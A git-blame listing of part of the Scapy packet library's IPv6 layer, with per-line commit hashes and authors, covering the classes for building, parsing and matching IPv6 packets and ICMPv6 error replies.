319c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.length_from = length_from
320c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
321c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2len(self, pkt, i):
322c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 16*len(i)
323c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
324c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2count(self, pkt, i):
325d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if isinstance(i, list):
326c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return len(i)
327c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
3280d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
329c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
330c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        c = l = None
331c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.length_from is not None:
332c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            l = self.length_from(pkt)
333c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif self.count_from is not None:
334c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            c = self.count_from(pkt)
3350d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
336c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        lst = []
337c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        ret = ""
338c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        remain = s
339c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l is not None:
340c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            remain,ret = s[:l],s[l:]
341c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        while remain:
342c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if c is not None:
343c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if c <= 0:
344c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    break
345c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                c -= 1
346c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            addr = inet_ntop(socket.AF_INET6, remain[:16])
347c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            lst.append(addr)
348c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            remain = remain[16:]
349c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return remain+ret,lst
350c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
351c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
35277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        s = ''
353c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        for y in x:
354c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            try:
355c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                y = inet_pton(socket.AF_INET6, y)
356c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            except:
357c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                y = socket.getaddrinfo(y, None, socket.AF_INET6)[0][-1][0]
358c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                y = inet_pton(socket.AF_INET6, y)
359c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            s += y
36077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return s
361c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
362c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self,pkt,x):
363c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        s = []
36477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        if x == None:
36577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            return "[]"
36677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        for y in x:
36777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            s.append('%s' % y)
368c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "[ %s ]" % (", ".join(s))
3690d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
3700d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass _IPv6GuessPayload:
371c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Dummy class that implements guess_payload_class() for IPv6"
372c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def default_payload_class(self,p):
373b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon        if self.nh == 58: # ICMPv6
374c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            t = ord(p[0])
375505336e8b146b3f85ece8690f3a434f6a97dfe1fmtu            if len(p) > 2 and (t == 139 or t == 140): # Node Info Query
376c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return _niquery_guesser(p)
377b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon            if len(p) >= icmp6typesminhdrlen.get(t, sys.maxint): # Other ICMPv6 messages
378b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                return get_cls(icmp6typescls.get(t,"Raw"), "Raw")
379b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon            return Raw
380d5f51f6843ffa1d375e947a5cb03965b5291129dPierre LALET        elif self.nh == 135 and len(p) > 3: # Mobile IPv6
381c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return _mip6_mhtype2cls.get(ord(p[2]), MIP6MH_Generic)
38235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        elif self.nh == 43 and ord(p[2]) == 4:  # Segment Routing header
38335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            return IPv6ExtHdrSegmentRouting
38435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        return get_cls(ipv6nhcls.get(self.nh, "Raw"), "Raw")
385c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
386c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IPv6(_IPv6GuessPayload, Packet, IPTools):
387c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6"
388c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ BitField("version" , 6 , 4),
389c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("tc", 0, 8), #TODO: IPv6, ByteField ?
39077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("fl", 0, 20),
39177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    ShortField("plen", None),
392c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("nh", 59, ipv6nh),
393c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("hlim", 64),
394c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    SourceIP6Field("src", "dst"), # dst is for src @ selection
395104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET                    DestIP6Field("dst", "::1") ]
396614f54fc4b269030ba2934b6c353fb43de886e04Phil
397614f54fc4b269030ba2934b6c353fb43de886e04Phil    def route(self):
398614f54fc4b269030ba2934b6c353fb43de886e04Phil        dst = self.dst
399614f54fc4b269030ba2934b6c353fb43de886e04Phil        if isinstance(dst,Gen):
400614f54fc4b269030ba2934b6c353fb43de886e04Phil            dst = iter(dst).next()
401614f54fc4b269030ba2934b6c353fb43de886e04Phil        return conf.route6.route(dst)
402614f54fc4b269030ba2934b6c353fb43de886e04Phil
403c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def mysummary(self):
404c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "%s > %s (%i)" % (self.src,self.dst, self.nh)
405c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
406c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def post_build(self, p, pay):
40777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        p += pay
408c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.plen is None:
409c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            l = len(p) - 40
410c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            p = p[:4]+struct.pack("!H", l)+p[6:]
411c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return p
412c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
413c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def extract_padding(self, s):
414c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = self.plen
415c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[:l], s[l:]
416c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
417c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
418c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 58 and isinstance(self.payload, _ICMPv6):
419c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if self.payload.type < 128:
420c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return self.payload.payload.hashret()
421c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif (self.payload.type in [133,134,135,136,144,145]):
422c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return struct.pack("B", self.nh)+self.payload.hashret()
423c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
424db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet        if not conf.checkIPinIP and self.nh in [4, 41]:  # IP, IPv6
425db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet            return self.payload.hashret()
426db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet
42777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        nh = self.nh
42877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        sd = self.dst
42977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        ss = self.src
430c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrRouting):
4310d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            # With routing header, the destination is the last
4320d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            # address of the IPv6 list if segleft > 0
43377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            nh = self.payload.nh
43477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            try:
43577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                sd = self.addresses[-1]
43677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            except IndexError:
43777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                sd = '::1'
43877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            # TODO: big bug with ICMPv6 error messages as the destination of IPerror6
43977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            #       could be anything from the original list ...
44077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            if 1:
44177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                sd = inet_pton(socket.AF_INET6, sd)
44277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                for a in self.addresses:
44377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    a = inet_pton(socket.AF_INET6, a)
44477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    sd = strxor(sd, a)
44577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                sd = inet_ntop(socket.AF_INET6, sd)
446c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
44735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrSegmentRouting):
44835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            # With segment routing header (rh == 4), the destination is
44935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            # the first address of the IPv6 addresses list
450f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain            try:
451f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                sd = self.addresses[0]
452f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain            except IndexError:
453f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                sd = self.dst
454f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
455c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 44 and isinstance(self.payload, IPv6ExtHdrFragment):
4560d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            nh = self.payload.nh
457c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
458c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 0 and isinstance(self.payload, IPv6ExtHdrHopByHop):
4590d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            nh = self.payload.nh
460c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
461c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt):
462c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            foundhao = None
463c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            for o in self.payload.options:
464c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if isinstance(o, HAO):
465c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    foundhao = o
466c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if foundhao:
467c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                nh = self.payload.nh # XXX what if another extension follows ?
468c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ss = foundhao.hoa
469c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
470a24f657bfd8370839bc40532e872aea4b65cd1feGuillaume Valadon        if conf.checkIPsrc and conf.checkIPaddr and not in6_ismaddr(sd):
471c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            sd = inet_pton(socket.AF_INET6, sd)
472c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            ss = inet_pton(socket.AF_INET6, self.src)
473a24f657bfd8370839bc40532e872aea4b65cd1feGuillaume Valadon            return strxor(sd, ss) + struct.pack("B", nh) + self.payload.hashret()
474c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
475c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return struct.pack("B", nh)+self.payload.hashret()
476c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
477c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
478db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet        if not conf.checkIPinIP:  # skip IP in IP and IPv6 in IP
479db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet            if self.nh in [4, 41]:
480db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet                return self.payload.answers(other)
481db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet            if isinstance(other, IPv6) and other.nh in [4, 41]:
482db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet                return self.answers(other.payload)
483db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet            if isinstance(other, IP) and other.proto in [4, 41]:
484db7c72f041294e905fb361b4e61d1902125dc212Pierre Lalet                return self.answers(other.payload)
485c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not isinstance(other, IPv6): # self is reply, other is request
486c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return False
4870d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        if conf.checkIPaddr:
488c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            ss = inet_pton(socket.AF_INET6, self.src)
489c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            sd = inet_pton(socket.AF_INET6, self.dst)
490c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            os = inet_pton(socket.AF_INET6, other.src)
491c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            od = inet_pton(socket.AF_INET6, other.dst)
49277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            # request was sent to a multicast address (other.dst)
4930d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            # Check reply destination addr matches request source addr (i.e
494c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # sd == os) except when reply is multicasted too
495c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # XXX test mcast scope matching ?
496c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if in6_ismaddr(other.dst):
497c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if in6_ismaddr(self.dst):
4980d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    if ((od == sd) or
499c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        (in6_isaddrllallnodes(self.dst) and in6_isaddrllallservers(other.dst))):
500c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                         return self.payload.answers(other.payload)
501c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    return False
5020d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                if (os == sd):
503c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    return self.payload.answers(other.payload)
504c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return False
5050d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            elif (sd != os): # or ss != od): <- removed for ICMP errors
506c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return False
507c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.nh == 58 and isinstance(self.payload, _ICMPv6) and self.payload.type < 128:
508c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # ICMPv6 Error message -> generated by IPv6 packet
509c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # Note : at the moment, we jump the ICMPv6 specific class
510c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # to call answers() method of erroneous packet (over
511c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # initial packet). There can be cases where an ICMPv6 error
512c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # class could implement a specific answers method that perform
513c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # a specific task. Currently, don't see any use ...
514c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.payload.answers(other)
515c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif other.nh == 0 and isinstance(other.payload, IPv6ExtHdrHopByHop):
5160d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            return self.payload.answers(other.payload.payload)
517c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif other.nh == 44 and isinstance(other.payload, IPv6ExtHdrFragment):
5180d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            return self.payload.answers(other.payload.payload)
519c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrRouting):
520c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting
52135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrSegmentRouting):
522f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain            return self.payload.answers(other.payload.payload)  # Buggy if self.payload is a IPv6ExtHdrRouting
523c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif other.nh == 60 and isinstance(other.payload, IPv6ExtHdrDestOpt):
524c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.payload.answers(other.payload.payload)
525c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): # BU in reply to BRR, for instance
526c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.payload.answers(other.payload)
527c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
528c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if (self.nh != other.nh):
529c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return False
530c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.answers(other.payload)
531c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
532614f54fc4b269030ba2934b6c353fb43de886e04Phil
5331bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadonclass _IPv46(IP):
5341bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon    """
5351bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon    This class implements a dispatcher that is used to detect the IP version
5361bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon    while parsing Raw IP pcap files.
5371bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon    """
5381bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon    @classmethod
5391bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon    def dispatch_hook(cls, _pkt=None, *_, **kargs):
5401bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon        if _pkt:
5411bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon            if struct.unpack('B', _pkt[0])[0] >> 4 == 6:
5421bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon                return IPv6
5431bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon        elif kargs.get("version") == 6:
5441bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon            return IPv6
5451bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon        return IP
5461bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon
5471bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadon
5486a3a6cb71496d821e4f121e2f2989f940cc98757Guillaume Valadondef inet6_register_l3(l2, l3):
5496a3a6cb71496d821e4f121e2f2989f940cc98757Guillaume Valadon    return getmacbyip6(l3.dst)
5506a3a6cb71496d821e4f121e2f2989f940cc98757Guillaume Valadonconf.neighbor.register_l3(Ether, IPv6, inet6_register_l3)
551614f54fc4b269030ba2934b6c353fb43de886e04Phil
552c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
553c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IPerror6(IPv6):
554c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 in ICMPv6"
555c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
556c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not isinstance(other, IPv6):
557c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return False
55877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        sd = inet_pton(socket.AF_INET6, self.dst)
55977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        ss = inet_pton(socket.AF_INET6, self.src)
56077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        od = inet_pton(socket.AF_INET6, other.dst)
56177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        os = inet_pton(socket.AF_INET6, other.src)
562c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
56377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        # Make sure that the ICMPv6 error is related to the packet scapy sent
56477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        if isinstance(self.underlayer, _ICMPv6) and self.underlayer.type < 128:
5650d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
566c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # find upper layer for self (possible citation)
567c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            selfup = self.payload
568c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            while selfup is not None and isinstance(selfup, _IPv6ExtHdr):
569c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                selfup = selfup.payload
570c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
571c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # find upper layer for other (initial packet). Also look for RH
572c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            otherup = other.payload
573c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            request_has_rh = False
574c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            while otherup is not None and isinstance(otherup, _IPv6ExtHdr):
575c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if isinstance(otherup, IPv6ExtHdrRouting):
576c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    request_has_rh = True
577c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                otherup = otherup.payload
578c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
5790d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            if ((ss == os and sd == od) or      # <- Basic case
5800d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                (ss == os and request_has_rh)): # <- Request has a RH :
581c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                                #    don't check dst address
5820d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
5830d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                # Let's deal with possible MSS Clamping
5840d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                if (isinstance(selfup, TCP) and
585c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    isinstance(otherup, TCP) and
586c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.options != otherup.options): # seems clamped
587c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
5880d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    # Save fields modified by MSS clamping
589c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_otherup_opts    = otherup.options
590c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_otherup_cksum   = otherup.chksum
591c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_otherup_dataofs = otherup.dataofs
592c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_selfup_opts     = selfup.options
593c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_selfup_cksum    = selfup.chksum
594c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    old_selfup_dataofs  = selfup.dataofs
595c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
596c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    # Nullify them
597c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.options = []
598c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.chksum  = 0
599c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.dataofs = 0
600c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.options  = []
601c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.chksum   = 0
602c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.dataofs  = 0
603c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
604c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    # Test it and save result
605c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    s1 = str(selfup)
606c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    s2 = str(otherup)
607c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    l = min(len(s1), len(s2))
608c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    res = s1[:l] == s2[:l]
609c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
610c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    # recall saved values
611c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.options = old_otherup_opts
612c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.chksum  = old_otherup_cksum
613c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    otherup.dataofs = old_otherup_dataofs
614c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.options  = old_selfup_opts
615c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.chksum   = old_selfup_cksum
616c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    selfup.dataofs  = old_selfup_dataofs
617c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
618c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    return res
619c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
620c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                s1 = str(selfup)
621c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                s2 = str(otherup)
622c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                l = min(len(s1), len(s2))
623c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return s1[:l] == s2[:l]
624c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
